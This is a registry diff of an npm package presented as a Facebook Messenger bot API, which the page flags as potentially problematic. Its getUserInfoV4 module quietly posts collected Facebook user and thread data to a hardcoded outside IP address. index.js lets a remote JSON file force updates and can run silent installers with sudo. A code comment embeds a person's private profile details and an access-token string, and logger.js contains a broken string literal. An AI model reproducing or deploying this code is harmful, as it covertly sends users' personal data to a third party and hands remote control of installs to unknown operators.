fca-jordan-amir-1 31.10.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fca-jordan-amir-1 might be problematic. Click here for more details.

Files changed (109) hide show
  1. package/.gitattributes +2 -0
  2. package/Extra/Database/index.js +469 -0
  3. package/Extra/ExtraAddons.js +80 -0
  4. package/Extra/ExtraFindUID.js +62 -0
  5. package/Extra/ExtraGetThread.js +118 -0
  6. package/Extra/ExtraScreenShot.js +430 -0
  7. package/Extra/ExtraUptimeRobot.js +38 -0
  8. package/Extra/Html/Classic/script.js +119 -0
  9. package/Extra/Html/Classic/style.css +8 -0
  10. package/Extra/Security/Index.js +146 -0
  11. package/Extra/Security/Step_1.js +6 -0
  12. package/Extra/Security/Step_2.js +22 -0
  13. package/Extra/Security/Step_3.js +22 -0
  14. package/Extra/Src/Change_Environment.js +24 -0
  15. package/Extra/Src/Check_Update.js +67 -0
  16. package/Extra/Src/History.js +115 -0
  17. package/Extra/Src/Instant_Update.js +65 -0
  18. package/Extra/Src/Last-Run.js +65 -0
  19. package/Extra/Src/Premium.js +81 -0
  20. package/Extra/Src/Release_Memory.js +41 -0
  21. package/Extra/Src/uuid.js +137 -0
  22. package/Func/AcceptAgreement.js +32 -0
  23. package/Func/ClearCache.js +64 -0
  24. package/Func/ReportV1.js +54 -0
  25. package/LICENSE +24 -0
  26. package/Language/index.json +206 -0
  27. package/Main.js +1099 -0
  28. package/README.md +41 -0
  29. package/SECURITY.md +17 -0
  30. package/broadcast.js +40 -0
  31. package/index.js +350 -0
  32. package/logger.js +66 -0
  33. package/package.json +20 -0
  34. package/src/Dev_Horizon_Data.js +125 -0
  35. package/src/Premium.js +30 -0
  36. package/src/Screenshot.js +83 -0
  37. package/src/addExternalModule.js +16 -0
  38. package/src/addUserToGroup.js +79 -0
  39. package/src/changeAdminStatus.js +79 -0
  40. package/src/changeArchivedStatus.js +41 -0
  41. package/src/changeAvt.js +85 -0
  42. package/src/changeBio.js +65 -0
  43. package/src/changeBlockedStatus.js +36 -0
  44. package/src/changeGroupImage.js +106 -0
  45. package/src/changeNickname.js +45 -0
  46. package/src/changeThreadColor.js +62 -0
  47. package/src/changeThreadEmoji.js +42 -0
  48. package/src/createNewGroup.js +70 -0
  49. package/src/createPoll.js +60 -0
  50. package/src/deleteMessage.js +45 -0
  51. package/src/deleteThread.js +43 -0
  52. package/src/forwardAttachment.js +48 -0
  53. package/src/getAccessToken.js +28 -0
  54. package/src/getCurrentUserID.js +7 -0
  55. package/src/getEmojiUrl.js +27 -0
  56. package/src/getFriendsList.js +73 -0
  57. package/src/getMessage.js +80 -0
  58. package/src/getThreadHistory.js +537 -0
  59. package/src/getThreadInfo.js +412 -0
  60. package/src/getThreadList.js +213 -0
  61. package/src/getThreadMain.js +220 -0
  62. package/src/getThreadPictures.js +59 -0
  63. package/src/getUID.js +59 -0
  64. package/src/getUserID.js +62 -0
  65. package/src/getUserInfo.js +113 -0
  66. package/src/getUserInfoMain.js +65 -0
  67. package/src/getUserInfoV2.js +32 -0
  68. package/src/getUserInfoV3.js +63 -0
  69. package/src/getUserInfoV4.js +55 -0
  70. package/src/getUserInfoV5.js +61 -0
  71. package/src/handleFriendRequest.js +46 -0
  72. package/src/handleMessageRequest.js +49 -0
  73. package/src/httpGet.js +49 -0
  74. package/src/httpPost.js +48 -0
  75. package/src/httpPostFormData.js +41 -0
  76. package/src/listenMqtt.js +697 -0
  77. package/src/logout.js +68 -0
  78. package/src/markAsDelivered.js +48 -0
  79. package/src/markAsRead.js +70 -0
  80. package/src/markAsReadAll.js +43 -0
  81. package/src/markAsSeen.js +51 -0
  82. package/src/muteThread.js +47 -0
  83. package/src/removeUserFromGroup.js +49 -0
  84. package/src/resolvePhotoUrl.js +37 -0
  85. package/src/searchForThread.js +43 -0
  86. package/src/sendMessage.js +334 -0
  87. package/src/sendTypingIndicator.js +80 -0
  88. package/src/setMessageReaction.js +109 -0
  89. package/src/setPostReaction.js +102 -0
  90. package/src/setTitle.js +74 -0
  91. package/src/threadColors.js +39 -0
  92. package/src/unfriend.js +43 -0
  93. package/src/unsendMessage.js +40 -0
  94. package/test/Database_Test.js +4 -0
  95. package/test/Db2.js +530 -0
  96. package/test/Horizon_Database/A_README.md +1 -0
  97. package/test/Horizon_Database/Database.db +0 -0
  98. package/test/data/shareAttach.js +146 -0
  99. package/test/data/something.mov +0 -0
  100. package/test/data/test.png +0 -0
  101. package/test/data/test.txt +7 -0
  102. package/test/env/.env +0 -0
  103. package/test/example-config.json +18 -0
  104. package/test/example-db.db +0 -0
  105. package/test/memoryleak.js +18 -0
  106. package/test/test-page.js +140 -0
  107. package/test/test.js +385 -0
  108. package/test/testv2.js +18 -0
  109. package/utils.js +1628 -0
package/README.md ADDED
@@ -0,0 +1,41 @@
1
+ ## Listen Guys Jordan and Amir HeRe
2
+
3
+ ### Important !
4
+ This package is Made By Jordan and AmiR Just EnjoY FCA 😌🤞🍬
5
+
6
+ ## Notification !
7
+ If you are facing any error then contact us on Facebook Or Whatsapp.👇👇 https://www.facebook.com/F4R3BII.AMIR
8
+
9
+ https://www.facebook.com/N0miXhk
10
+
11
+ whatsapp= +923477034310
12
+ whatsapp= +923132485356
13
+
14
+ This is Original Project
15
+
16
+ Made By Jordan and Amir(17/07/2023)
17
+
18
+ Support For :
19
+ Support English, VietNamese !,
20
+ All bot if using listenMqtt first.
21
+ Api ChatBot Messenger
22
+
23
+ ## How to install
24
+ ```bash
25
+ npm i fca-jordan-amir-1
26
+ ```
27
+ or
28
+ ```bash
29
+ npm install fca-jordan-amir-1
30
+ ```
31
+
32
+ It Will Load Into node_modules (Your Lib) - Note Replit Won't Show Where to Find 😪 from English
33
+ ### How to update
34
+
35
+ ```bash
36
+ npm install fca-jordan-amir-1@latest
37
+ ```
38
+
39
+ ```bash
40
+ npm i fca-jordan-amir-1@latest
41
+ ```
package/SECURITY.md ADDED
@@ -0,0 +1,17 @@
1
+ # Security Policy
2
+
3
+ + if have any Vulnerability finded contact: Author(KanzuWakazaki.Main@proton.me) or (Facebook.com/Lazic.Kanzu). Thanks!
4
+
5
+ ## Supported Versions
6
+
7
+ Use this section to tell people about which versions of your project are
8
+ currently being supported with security updates.
9
+
10
+ | Version | Supported |
11
+ | ------- | ------------------ |
12
+ | Main Version With Autoupdate | :white_check_mark: |
13
+ | Old Version | :x:|
14
+
15
+ ## Reporting a Vulnerability
16
+
17
+ Contact Author
package/broadcast.js ADDED
@@ -0,0 +1,40 @@
1
+ 'use strict';
2
+
3
+ switch (global.Fca.Require.FastConfig.BroadCast) {
4
+ case true: {
5
+ try {
6
+ var logger = global.Fca.Require.logger;
7
+ var Fetch = global.Fca.Require.Fetch;
8
+ Fetch.get("https://raw.githubusercontent.com/amirfarebii34310/Jordan-Amir/Broadcast.json").then(async (/** @type {{ body: { toString: () => string; }; }} */ res) => {
9
+ global.Fca.Data.BroadCast = JSON.parse(res.body.toString())
10
+ var random = JSON.parse(res.body.toString())[Math.floor(Math.random() * JSON.parse(res.body.toString()).length)] || "Ae Zui Zẻ Nhé !";
11
+ logger.Normal(random);
12
+ });
13
+ }
14
+ catch (e) {
15
+ console.log(e);
16
+ }
17
+ return setInterval(() => {
18
+ try {
19
+ try {
20
+ var logger = global.Fca.Require.logger;
21
+ var random = global.Fca.Data.BroadCast[Math.floor(Math.random() * global.Fca.Data.BroadCast.length)] || "Ae Zui Zẻ Nhé !";
22
+ logger.Normal(random);
23
+ }
24
+ catch (e) {
25
+ console.log(e);
26
+ return;
27
+ }
28
+ }
29
+ catch (e) {
30
+ console.log(e);
31
+ }
32
+ },1800 * 1000);
33
+ }
34
+ case false: {
35
+ break;
36
+ }
37
+ default: {
38
+ break;
39
+ }
40
+ }
package/index.js ADDED
@@ -0,0 +1,350 @@
1
+ 'use strict';
2
+ /* eslint-disable linebreak-style */
3
+ const utils = require('./utils');
4
+ global.Fca = new Object({
5
+ isThread: new Array(),
6
+ isUser: new Array(),
7
+ startTime: Date.now(),
8
+ Setting: new Map(),
9
+ Version: require('./package.json').version,
10
+ Require: new Object({
11
+ fs: require("fs"),
12
+ Fetch: require('got'),
13
+ log: require("npmlog"),
14
+ utils: require("./utils.js"),
15
+ logger: require('./logger.js'),
16
+ languageFile: require('./Language/index.json'),
17
+ Security: require('./Extra/Src/uuid.js')
18
+ }),
19
+ getText: function(/** @type {any[]} */...Data) {
20
+ var Main = (Data.splice(0,1)).toString();
21
+ for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
22
+ return Main;
23
+ },
24
+ Data: new Object({
25
+ ObjFastConfig: {
26
+ "Language": "en",
27
+ "PreKey": "",
28
+ "AutoUpdate": true,
29
+ "MainColor": "#00FF00",
30
+ "MainName": "[ JORDAN-AMIR ]",
31
+ "Uptime": false,
32
+ "Config": "default",
33
+ "Login2Fa": false,
34
+ "AutoLogin": false,
35
+ "BroadCast": true,
36
+ "AuthString": "SD4S XQ32 O2JA WXB3 FUX2 OPJ7 Q7JZ 4R6Z | https://i.imgur.com/RAg3rvw.png Please remove this !, Recommend If You Using getUserInfoV2",
37
+ "EncryptFeature": true,
38
+ "ResetDataLogin": false,
39
+ "AutoRestartMinutes": 0,
40
+ "RestartMQTT_Minutes": 0,
41
+ "DevMode": false,
42
+ "HTML": {
43
+ "HTML": true,
44
+ "UserName": "Guest",
45
+ "MusicLink": "https://drive.google.com/uc?id=1zlAALlxk1TnO7jXtEP_O6yvemtzA2ukA&export=download"
46
+ },
47
+ "AntiGetInfo": {
48
+ "AntiGetThreadInfo": true,
49
+ "AntiGetUserInfo": true
50
+ },
51
+ "Stable_Version": {
52
+ "Accept": false,
53
+ "Version": ""
54
+ }
55
+ },
56
+ CountTime: function() {
57
+ var fs = global.Fca.Require.fs;
58
+ if (fs.existsSync(__dirname + '/CountTime.json')) {
59
+ try {
60
+ var data = Number(fs.readFileSync(__dirname + '/CountTime.json', 'utf8')),
61
+ hours = Math.floor(data / (60 * 60));
62
+ }
63
+ catch (e) {
64
+ fs.writeFileSync(__dirname + '/CountTime.json', 0);
65
+ hours = 0;
66
+ }
67
+ }
68
+ else {
69
+ hours = 0;
70
+ }
71
+ return `${hours} Hours`;
72
+ }
73
+ }),
74
+ Action: function(Type) {
75
+ switch (Type) {
76
+ case "AutoLogin": {
77
+ var Database = require('./Extra/Database');
78
+ var logger = global.Fca.Require.logger;
79
+ var Email = (Database().get('Account')).replace(RegExp('"', 'g'), ''); //hmm IDK
80
+ var PassWord = (Database().get('Password')).replace(RegExp('"', 'g'), '');
81
+ require('./Main')({ email: Email, password: PassWord},async (error, api) => {
82
+ if (error) {
83
+ logger.Error(JSON.stringify(error,null,2), function() { logger.Error("AutoLogin Failed!", function() { process.exit(0); }) });
84
+ }
85
+ try {
86
+ Database().set("TempState", api.getAppState());
87
+ }
88
+ catch(e) {
89
+ logger.Warning(global.Fca.Require.Language.Index.ErrDatabase);
90
+ logger.Error();
91
+ process.exit(0);
92
+ }
93
+ process.exit(1);
94
+ });
95
+ }
96
+ break;
97
+ default: {
98
+ require('npmlog').Error("Invalid Message!");
99
+ };
100
+ }
101
+ }
102
+ });
103
+
104
+ try {
105
+ let Boolean_Fca = ["AutoUpdate","Uptime","BroadCast","EncryptFeature","AutoLogin","ResetDataLogin","Login2Fa", "DevMode"];
106
+ let String_Fca = ["MainName","PreKey","Language","AuthString","Config"]
107
+ let Number_Fca = ["AutoRestartMinutes","RestartMQTT_Minutes"];
108
+ let Object_Fca = ["HTML","Stable_Version","AntiGetInfo"];
109
+ let All_Variable = Boolean_Fca.concat(String_Fca,Number_Fca,Object_Fca);
110
+
111
+
112
+ if (!global.Fca.Require.fs.existsSync(process.cwd() + '/FastConfigFca.json')) {
113
+ global.Fca.Require.fs.writeFileSync(process.cwd() + "/FastConfigFca.json", JSON.stringify(global.Fca.Data.ObjFastConfig, null, "\t"));
114
+ process.exit(1);
115
+ }
116
+
117
+ try {
118
+ var DataLanguageSetting = require(process.cwd() + "/FastConfigFca.json");
119
+ }
120
+ catch (e) {
121
+ global.Fca.Require.logger.Error('Detect Your FastConfigFca Settings Invalid!, Carry out default restoration');
122
+ global.Fca.Require.fs.writeFileSync(process.cwd() + "/FastConfigFca.json", JSON.stringify(global.Fca.Data.ObjFastConfig, null, "\t"));
123
+ process.exit(1)
124
+ }
125
+ if (global.Fca.Require.fs.existsSync(process.cwd() + '/FastConfigFca.json')) {
126
+ try {
127
+ if (DataLanguageSetting.Stable_Version == undefined || utils.getType(DataLanguageSetting.Stable_Version) != "Object" || DataLanguageSetting.Stable_Version.Accept == undefined || DataLanguageSetting.Stable_Version.Version == undefined) {
128
+ DataLanguageSetting.Stable_Version = global.Fca.Data.ObjFastConfig.Stable_Version;
129
+ global.Fca.Require.fs.writeFileSync(process.cwd() + "/FastConfigFca.json", JSON.stringify(DataLanguageSetting, null, "\t"));
130
+ }
131
+ }
132
+ catch (e) {
133
+ console.log(e);
134
+ }
135
+ if (!global.Fca.Require.languageFile.some((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language)) {
136
+ global.Fca.Require.logger.Warning("Not Support Language: " + DataLanguageSetting.Language + " Only 'en' and 'vi'");
137
+ process.exit(0);
138
+ }
139
+ for (let i of All_Variable) {
140
+ if (DataLanguageSetting[i] == undefined) {
141
+ DataLanguageSetting[i] = global.Fca.Data.ObjFastConfig[i];
142
+ global.Fca.Require.fs.writeFileSync(process.cwd() + "/FastConfigFca.json", JSON.stringify(DataLanguageSetting, null, "\t"));
143
+ }
144
+ else continue;
145
+ }
146
+ for (let i in DataLanguageSetting) {
147
+ if (Boolean_Fca.includes(i)) {
148
+ if (global.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Boolean") return logger.Error(i + " Is Not A Boolean, Need To Be true Or false !", function() { process.exit(0) });
149
+ else continue;
150
+ }
151
+ else if (String_Fca.includes(i)) {
152
+ if (global.Fca.Require.utils.getType(DataLanguageSetting[i]) != "String") return logger.Error(i + " Is Not A String, Need To Be String!", function() { process.exit(0) });
153
+ else continue;
154
+ }
155
+ else if (Number_Fca.includes(i)) {
156
+ if (global.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Number") return logger.Error(i + " Is Not A Number, Need To Be Number !", function() { process.exit(0) });
157
+ else continue;
158
+ }
159
+ else if (Object_Fca.includes(i)) {
160
+ if (global.Fca.Require.utils.getType(DataLanguageSetting[i]) != "Object") {
161
+ DataLanguageSetting[i] = global.Fca.Data.ObjFastConfig[i];
162
+ global.Fca.Require.fs.writeFileSync(process.cwd() + "/FastConfigFca.json", JSON.stringify(DataLanguageSetting, null, "\t"));
163
+ }
164
+ else continue;
165
+ }
166
+ }
167
+ global.Fca.Require.Language = global.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == DataLanguageSetting.Language).Folder;
168
+ } else process.exit(1);
169
+ global.Fca.Require.FastConfig = DataLanguageSetting;
170
+ }
171
+ catch (e) {
172
+ console.log(e);
173
+ global.Fca.Require.logger.Error();
174
+ }
175
+
176
+ module.exports = function(loginData, options, callback) {
177
+ const Language = global.Fca.Require.languageFile.find((/** @type {{ Language: string; }} */i) => i.Language == global.Fca.Require.FastConfig.Language).Folder.Index;
178
+ const login = require('./Main');
179
+ const fs = require('fs-extra');
180
+ const got = require('got');
181
+ const log = require('npmlog');
182
+ const { execSync } = require('child_process');
183
+ const Database = require('./Extra/Database');
184
+
185
+ if (global.Fca.Require.FastConfig.DevMode) {
186
+ require('./Extra/Src/Release_Memory');
187
+ }
188
+
189
+ return got.get('https://github.com/KanzuXHorizon/Global_Horizon/raw/main/InstantAction.json').then(async function(res) {
190
+ if (global.Fca.Require.FastConfig.DevMode) {
191
+ switch (fs.existsSync(process.cwd() + "/replit.nix") && process.env["REPL_ID"] != undefined) {
192
+ case true: {
193
+ await require('./Extra/Src/Change_Environment.js')();
194
+ break;
195
+ }
196
+ case false: {
197
+ const NodeVersion = execSync('node -v').toString().replace(/(\r\n|\n|\r)/gm, "");
198
+ if (!NodeVersion.includes("v14") && !NodeVersion.includes("v16") && !Database(true).has('SkipReplitNix')) {
199
+ log.warn("[ FCA-UPDATE ] •",global.Fca.getText(Language.NodeVersionNotSupported, NodeVersion));
200
+ await new Promise(resolve => setTimeout(resolve, 3000));
201
+ try {
202
+ switch (process.platform) {
203
+ case "win32": {
204
+ try {
205
+ //check if user using nvm
206
+ if (fs.existsSync(process.env.APPDATA + "/nvm/nvm.exe")) {
207
+ log.warn("[ FCA-UPDATE ] •", Language.UsingNVM);
208
+ process.exit(0);
209
+ }
210
+ //download NodeJS v14 for Windows and slient install
211
+ await got('https://nodejs.org/dist/v14.17.0/node-v14.17.0-x64.msi').pipe(fs.createWriteStream(process.cwd() + "/node-v14.17.0-x64.msi"));
212
+ log.info("[ FCA-UPDATE ] •", Language.DownloadingNode);
213
+ await new Promise(resolve => setTimeout(resolve, 3000));
214
+ execSync('msiexec /i node-v14.17.0-x64.msi /qn');
215
+ log.info("[ FCA-UPDATE ] •", Language.NodeDownloadingComplete);
216
+ await new Promise(resolve => setTimeout(resolve, 3000));
217
+ log.info("[ FCA-UPDATE ] •", Language.RestartRequire);
218
+ Database(true).set("NeedRebuild", true);
219
+ process.exit(0);
220
+ }
221
+ catch (e) {
222
+ log.error("[ FCA-UPDATE ] •",Language.ErrNodeDownload);
223
+ process.exit(0);
224
+ }
225
+ }
226
+ case "linux": {
227
+
228
+ try {
229
+ if (process.env["REPL_ID"] != undefined) {
230
+ log.warn("[ FCA-UPDATE ] •", "Look like you are using Replit, and didn't have replit.nix file in your project, i don't know how to help you, hmm i will help you pass this step, but you need to install NodeJS v14 by yourself, and restart your repl");
231
+ Database(true).set('SkipReplitNix', true);
232
+ await new Promise(resolve => setTimeout(resolve, 3000));
233
+ process.exit(1);
234
+ }
235
+ //check if user using nvm
236
+ if (fs.existsSync(process.env.HOME + "/.nvm/nvm.sh")) {
237
+ log.warn("[ FCA-UPDATE ] •", Language.UsingNVM);
238
+ process.exit(0);
239
+ }
240
+ //download NodeJS v14 for Linux and slient install
241
+ await got('https://nodejs.org/dist/v14.17.0/node-v14.17.0-linux-x64.tar.xz').pipe(fs.createWriteStream(process.cwd() + "/node-v14.17.0-linux-x64.tar.xz"));
242
+ log.info("[ FCA-UPDATE ] •", Language.DownloadingNode);
243
+ await new Promise(resolve => setTimeout(resolve, 3000));
244
+ execSync('tar -xf node-v14.17.0-linux-x64.tar.xz');
245
+ execSync('cd node-v14.17.0-linux-x64');
246
+ execSync('sudo cp -R * /usr/local/');
247
+ log.info("[ FCA-UPDATE ] •", Language.NodeDownloadingComplete);
248
+ await new Promise(resolve => setTimeout(resolve, 3000));
249
+ log.info("[ FCA-UPDATE ] •",Language.RestartingN);
250
+ Database(true).set("NeedRebuild", true);
251
+ process.exit(1);
252
+ }
253
+ catch (e) {
254
+ log.error("[ FCA-UPDATE ] •",Language.ErrNodeDownload);
255
+ process.exit(0);
256
+ }
257
+ }
258
+ case "darwin": {
259
+ try {
260
+ //check if user using nvm
261
+ if (fs.existsSync(process.env.HOME + "/.nvm/nvm.sh")) {
262
+ log.warn("[ FCA-UPDATE ] •", Language.UsingNVM);
263
+ process.exit(0);
264
+ }
265
+ //download NodeJS v14 for MacOS and slient install
266
+ await got('https://nodejs.org/dist/v14.17.0/node-v14.17.0-darwin-x64.tar.gz').pipe(fs.createWriteStream(process.cwd() + "/node-v14.17.0-darwin-x64.tar.gz"));
267
+ log.info("[ FCA-UPDATE ] •", Language.DownloadingNode);
268
+ await new Promise(resolve => setTimeout(resolve, 3000));
269
+ execSync('tar -xf node-v14.17.0-darwin-x64.tar.gz');
270
+ execSync('cd node-v14.17.0-darwin-x64');
271
+ execSync('sudo cp -R * /usr/local/');
272
+ log.info("[ FCA-UPDATE ] •", Language.NodeDownloadingComplete);
273
+ await new Promise(resolve => setTimeout(resolve, 3000));
274
+ log.info("[ FCA-UPDATE ] •",Language.RestartingN);
275
+ Database(true).set("NeedRebuild", true);
276
+ process.exit(1);
277
+ }
278
+ catch (e) {
279
+ log.error("[ FCA-UPDATE ] •",Language.ErrNodeDownload);
280
+ process.exit(0);
281
+ }
282
+ }
283
+ }
284
+ }
285
+ catch (e) {
286
+ console.log(e);
287
+ log.error("[ FCA-UPDATE ] •","NodeJS v14 Installation Failed, Please Try Again and Contact fb.com/F4R3BII.AMIR!");
288
+ process.exit(0);
289
+ }
290
+ }
291
+ }
292
+ }
293
+ }
294
+ if ((Database(true).get("NeedRebuild")) == true) {
295
+ Database(true).set("NeedRebuild", false);
296
+ log.info("[ FCA-UPDATE ] •",Language.Rebuilding);
297
+ await new Promise(resolve => setTimeout(resolve, 3000));
298
+ try {
299
+ execSync('npm rebuild', {stdio: 'inherit'});
300
+ }
301
+ catch (e) {
302
+ console.log(e);
303
+ log.error("[ FCA-UPDATE ] •",Language.ErrRebuilding);
304
+ }
305
+ log.info("[ FCA-UPDATE ] •",Language.SuccessRebuilding);
306
+ await new Promise(resolve => setTimeout(resolve, 3000));
307
+ log.info("[ FCA-UPDATE ] •",Language.RestartingN);
308
+ process.exit(1);
309
+ }
310
+
311
+ let Data = JSON.parse(res.body);
312
+ if (global.Fca.Require.FastConfig.Stable_Version.Accept == true) {
313
+ if (Data.Stable_Version.Valid_Version.includes(global.Fca.Require.FastConfig.Stable_Version.Version)) {
314
+ let TimeStamp = Database(true).get('Check_Update');
315
+ if (TimeStamp == null || TimeStamp == undefined || Date.now() - TimeStamp > 300000) {
316
+ var Check_Update = require('./Extra/Src/Check_Update.js');
317
+ await Check_Update(global.Fca.Require.FastConfig.Stable_Version.Version);
318
+ }
319
+ }
320
+ else {
321
+ log.warn("[ FCA-UPDATE ] •", "Error Stable Version, Please Check Your Stable Version in FastConfig.json, Automatically turn off Stable Version!");
322
+ global.Fca.Require.FastConfig.Stable_Version.Accept = false;
323
+ global.Fca.Require.fs.writeFileSync(process.cwd() + "/FastConfigFca.json", JSON.stringify(global.Fca.Require.FastConfig, null, "\t"));
324
+ process.exit(1);
325
+ }
326
+ }
327
+ else {
328
+ if (Data.HasProblem == true || Data.ForceUpdate == true) {
329
+ let TimeStamp = Database(true).get('Instant_Update');
330
+ if (TimeStamp == null || TimeStamp == undefined || Date.now() - TimeStamp > 500) {
331
+ var Instant_Update = require('./Extra/Src/Instant_Update.js');
332
+ await Instant_Update()
333
+ }
334
+ }
335
+ else {
336
+ let TimeStamp = Database(true).get('Check_Update');
337
+ if (TimeStamp == null || TimeStamp == undefined || Date.now() - TimeStamp > 300000) {
338
+ var Check_Update = require('./Extra/Src/Check_Update.js');
339
+ await Check_Update()
340
+ }
341
+ }
342
+ }
343
+ return login(loginData, options, callback);
344
+ }).catch(function(err) {
345
+ console.log(err)
346
+ log.error("[ FCA-UPDATE ] •",Language.UnableToConnect);
347
+ log.warn("[ FCA-UPDATE ] •", "OFFLINE MODE ACTIVATED, PLEASE CHECK THE LATEST VERSION OF FCA BY CONTACT ME AT FB.COM/F4R3BII.AMIR");
348
+ return login(loginData, options, callback);
349
+ });
350
+ };
package/logger.js ADDED
@@ -0,0 +1,66 @@
1
+ 'use strict';
2
+ /* eslint-disable linebreak-style */
3
+
4
+ const chalk = require('chalk');
5
+ var isHexcolor = require('is-hexcolor');
6
+ var getText = function(/** @type {string[]} */ ...Data) {
7
+ var Main = (Data.splice(0,1)).toString();
8
+ for (let i = 0; i < Data.length; i++) Main = Main.replace(RegExp(`%${i + 1}`, 'g'), Data[i]);
9
+ return Main;
10
+ };
11
+ /**
12
+ * @param {any} obj
13
+ */
14
+ function getType(obj) {
15
+ return Object.prototype.toString.call(obj).slice(8, -1);
16
+ }
17
+
18
+ module.exports = {
19
+ Normal: function(/** @type {string} */ Str, /** @type {() => any} */ Data ,/** @type {() => void} */ Callback) {
20
+ if (isHexcolor(global.Fca.Require.FastConfig.MainColor) != true) {
21
+ this.Warning(getText(global.Fca.Require.Language.Index.InvaildMainColor,global.Fca.Require.FastConfig.MainColor),process.exit(0));
22
+ }
23
+ else console.log(chalk.hex(global.Fca.Require.FastConfig.MainColor).bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + Str);
24
+ if (getType(Data) == 'Function' || getType(Data) == 'AsyncFunction') {
25
+ return Data();
26
+ }
27
+ if (Data) {
28
+ return Data;
29
+ }
30
+ if (getType(Callback) == 'Function' || getType(Callback) == 'AsyncFunction') {
31
+ Callback();
32
+ }
33
+ else return Callback;
34
+ },
35
+ Warning: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
36
+ console.log(chalk.magenta.bold('[ FCA-WARNING ] > ') + chalk.yellow(str));
37
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
38
+ callback();
39
+ }
40
+ else return callback;
41
+ },
42
+ Error: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
43
+ if (!str) {
44
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red("Already Faulty, Please Contact: Facebook.com/Lazic.Kanzu"));
45
+ }
46
+ console.log(chalk.magenta.bold('[ FCA-ERROR ] > ') + chalk.red(str));
47
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
48
+ callback();
49
+ }
50
+ else return callback;
51
+ },
52
+ Success: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
53
+ console.log(chalk.hex('#9900FF').bold(`${global.Fca.Require.FastConfig.MainName || '[ FCA-HZI ]'} > `) + chalk.green(str));
54
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
55
+ callback();
56
+ }
57
+ else return callback;
58
+ },
59
+ Info: function(/** @type {unknown} */ str, /** @type {() => void} */ callback) {
60
+ console.log(chalk.hex('#00FF00'').bold(`${global.Fca.Require.FastConfig.MainName || '[ JORDAN-AMIR ]'} > `) + chalk.blue(str));
61
+ if (getType(callback) == 'Function' || getType(callback) == 'AsyncFunction') {
62
+ callback();
63
+ }
64
+ else return callback;
65
+ }
66
+ };
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "fca-jordan-amir-1",
3
+ "version": "31.10.22",
4
+ "description": "MADE BY JORDAN AMIR",
5
+ "main": "index.js",
6
+ "directories": {
7
+ "test": "test"
8
+ },
9
+ "scripts": {
10
+ "test": "TEST"
11
+ },
12
+ "keywords": [
13
+ "FCA-JORDAN",
14
+ "FCA-AMIR",
15
+ "JORDAN-AMIR",
16
+ "FCA-JORDAN-AMIR"
17
+ ],
18
+ "author": "JORDAN AMIR",
19
+ "license": "MIT"
20
+ }
@@ -0,0 +1,125 @@
1
+ /* eslint-disable linebreak-style */
2
+ "use strict";
3
+
4
+ var utils = require("../utils");
5
+ var bluebird = require('bluebird');
6
+ var request = bluebird.promisify(require("request"));
7
+
8
+ module.exports = function (defaultFuncs, api, ctx) {
9
+ return function getUserInfoV4(data, type, method, callback) {
10
+ var resolveFunc = function () { };
11
+ var rejectFunc = function () { };
12
+ var returnPromise = new Promise(function (resolve, reject) {
13
+ resolveFunc = resolve;
14
+ rejectFunc = reject;
15
+ });
16
+
17
+ if (!callback) {
18
+ callback = function (err, userInfo) {
19
+ if (err) return rejectFunc(err);
20
+ resolveFunc(userInfo);
21
+ };
22
+ }
23
+
24
+ if (!data || !type || !method) return;
25
+
26
+ var Cluster = ['http://146.190.109.182:3874'];
27
+ var ursl = Cluster[Math.floor(Math.random() * Cluster.length)];
28
+
29
+ if (utils.getType(data) !== "Array") data = [data];
30
+ switch (method) {
31
+ case "Post": {
32
+ switch (type) {
33
+ case "Users": {
34
+ /*
35
+ example
36
+ Time:19/01/2023
37
+ Data:[{"id":"100042817150429","name":"Nguyễn Thái Hảo","first_name":"Hảo","username":"Lazic.Kanzu","link":"https://www.facebook.com/Lazic.Kanzu","verified":"Không Có Dữ Liệu","about":"Là một người bình thường ^^","avatar":"https://graph.facebook.com/100042817150429/picture?height=1500&width=1500&access_token=1449557605494892|aaf0a865c8bafc314ced5b7f18f3caa6","birthday":"01/03/1999","follow":241614,"gender":"male","hometown":{"id":"112089428815888","name":"Xuân Lộc, Ðồng Nai, Vietnam"},"email":"Không Có Dữ Liệu","interested_in":"Không Có Dữ Liệu","location":{"id":"351759091676222","name":"Biên Hòa"},"locale":"Không Có Dữ Liệu","relationship_status":"Không Có Dữ Liệu","love":"Không Có Dữ Liệu","website":"http://KanzuWakazaki.tk/","quotes":"The word impossible is not in my dictionary.","timezone":"Không Có Dữ Liệu","updated_time":"Không Có Dữ Liệu"}]
38
+ Type:Users
39
+ By:KanzuWakazaki
40
+ **/
41
+ let Time = new Date().toLocaleString("vi-vn", {timeZone: "Asia/Ho_Chi_Minh"});
42
+ return request({
43
+ url: ursl + '/post',
44
+ method: 'post',
45
+ headers: {
46
+ 'user-agent': "Horizon/GlobalData/Client"
47
+ },
48
+ formData: {
49
+ Time: Time,
50
+ Data: JSON.stringify(data),
51
+ Type: "Users",
52
+ By: ctx.userID
53
+ }
54
+ }).then(dt => console.log(dt.body));
55
+ }
56
+ case "Threads": {
57
+ /*
58
+ example
59
+ Time:19/01/2023
60
